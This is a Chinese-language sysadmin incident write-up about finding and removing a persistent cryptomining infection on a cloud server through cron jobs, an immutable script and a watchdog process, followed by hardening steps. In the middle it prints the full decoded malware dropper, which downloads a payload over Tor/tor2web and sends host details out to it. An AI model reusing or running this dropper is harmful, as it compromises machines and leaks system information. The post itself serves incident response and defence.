说明:钉钉收到磁盘告警信息,打算登录服务器清理磁盘空间,但是发现通过xshell无法登录,也尝试了阿里云的VNC,也不行。经阿里云工程师排查oom内存不足导致,需要重启服务器,重启服务器后我们扩充了内存,从原来的32G变成64G,按道理内存应该是够了,但是过一段时间看监控发现内存和cpu被占用得很厉害。使用top发现,有个比较奇怪的进程,进程id为14587,对比了一下其他几台服务器都没有这个进程,根据以往经验应该是服务器中病毒了。
1、根据进程id,查看进程名,经了解这个进程不是我们业务系统服务的进程id,于是杀掉进程(kill -9 进程id)
2、根据以往经验,像这种未知进程名一般都是有配置定时任务,于是查看定时任务列表(crontab -l),果不其然发现了一个未知定时任务,如下所示:
[root@host-10-10-18-111 ~]# crontab -l
2 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &
3、先不要盲目删除定时任务和未知文件,先看下文件.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh内容,如下图所示:
4、看到上面内容相信大部分都不懂是什么,看到文件内容末尾,这是一个通过base64编码的文件,通过Base64 在线编码解码器对上面文件进行解码,解码后内容如下:
wymVFl04WHFDQfJFg81fvBhVSxhWn4HB
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "wacpnnso4ottxlyvjp2adaieaivxx2saxoymednidp3zyfoqfc5jpqad")
sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}
fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done
5、解码后文件出现了一些域名,如下所示:
checkip.amazonaws.com doh.this.web.id doh.post-factum.tk
dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn
dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org
resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch
说明:根据上述分析,处理步骤如下:
1、杀掉进程
[root@host-10-10-18-111 ~]# kill -9 进程id
2、删除定时任务
# 1、crontab -e
2 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &
3、删除未知文件
[root@host-10-10-18-111 ~]# rm -f /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh
注意:一般按照上面操作应该是没有什么问题,甚至我连cron服务都关闭了,但是很奇怪过了一个小时定时任务又被创建,未知进程又被拉起了,无奈只能继续排查。根据经验感觉可能还有一些定时任务。
4、进入/etc/cron.d目录,又发现一个未知定时任务,继续上面的操作,杀进程、删除定时任务、未知文件
[root@host-10-10-18-111 ~]# ll /etc/cron.d/
0systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n
# 2、查看未知文件内容
[root@host-10-10-18-111 ~]# cat /etc/cron.d/0systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n
21 * * * * root /opt/systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n.sh > /dev/null 2>&1 &
# 3、杀掉进程
[root@host-10-10-18-111 ~]# kill -9 进程id
# 4、删除定时任务
[root@host-10-10-18-111 ~]# crontab -e
2 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &
[root@host-10-10-18-111 ~]# rm -f /etc/cron.d/0systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n
[root@host-10-10-18-111 ~]# rm -f /opt/systemd-private-imwH2aYZGRTxFvQgMu29mtkKB8G8Q8n.sh
注意:按照上面的处理方法,按道理应该是没有问题了,但是过一段时间后又出现了,未知进程又被拉起。感觉可能是自己遗漏了定时任务的某个配置文件,仔细排查了cron服务的所有配置文件,发现/etc/crontab配置文件有未知内容,如下所示:
5、查看/etc/crontab配置文件,发现未知内容,删除其内容,删除后观察一段时间
注意:上述操作完之后观察一段时间,发现定时任务又存在了,啥也不说了,真的很神奇!按照上面的操作又来了一遍,进入/opt目录时突然发现了一个我不熟悉的脚本。
[root@host-10-10-18-111 ~]# crontab -l
44 * * * * /root/.systemd-private-wymVFl04WHFDQfJFg81fvBhVSxhWn4HB.sh > /dev/null 2>&1 &
6、进入/opt目录时发现了一个未知脚本,查看脚本内容如下,然后删除文件,发现删除不了,应该是加了i权限,删除i权限后,将文件成功删除。
删除unixdb.sh文件操作如下:
[root@host-10-10-18-111 ~]# rm -f unixdb.sh
rm: 无法删除"unixdb.sh": 不允许的操作
[root@host-10-10-18-111 ~]# lsattr unixdb.sh
----i--------e-- unixdb.sh
[root@host-10-10-18-111 ~]# chattr -i unixdb.sh
[root@host-10-10-18-111 ~]# rm -f unixdb.sh
注意:以为这一次能够杀掉病毒,但是又一次陷入神坑,一段时间后,进程又被拉起。我觉得需要冷静,思考了一段时间感觉还有一个进程负责将病毒写入定时任务,然后通过定时任务自动拉起挖矿病毒程序。所以有必要对所有进程进行检测,找到那个进程。
6、检查所有进程
说明:仔细核对了进程,终于找到了一个奇怪的进程,我们的业务系统服务没有用到这个进程,跟之前的那个定时任务进程类似,都是一组有大小写英文字母,跟其他几台服务器的进程也仔细做了对比,感觉很可能是这个进程,于是杀掉进程(kill -9 5367),过一段时间在观察一下。
24小时后,发现挖矿进程并没有被拉起,验证了我上述的判断是对的。经过这一次问题,我觉得有必要对安全问题进行重视,同时加强云主机的安全保护措施。
针对此次问题,我觉得有必要针对服务器做一些整改
1、限制ssh连接限制,只允许公司公网ip访问服务器
2、升级openssh至8.6版本
3、修改root用户名称,禁止root用户直接登录,创建一普通用户赋予sudo权限
4、修改root权限用户密码
5、限制其它互联网服务端口,除开业务端口,其它数据库端口做白名单限制
6、对上面脚本中出现得域名进行封禁
7、临时处理后计划这台服务器上的业务系统做迁移,同时后期计划释放这台服务器
更多详细内容请参考:Linux运维实战总结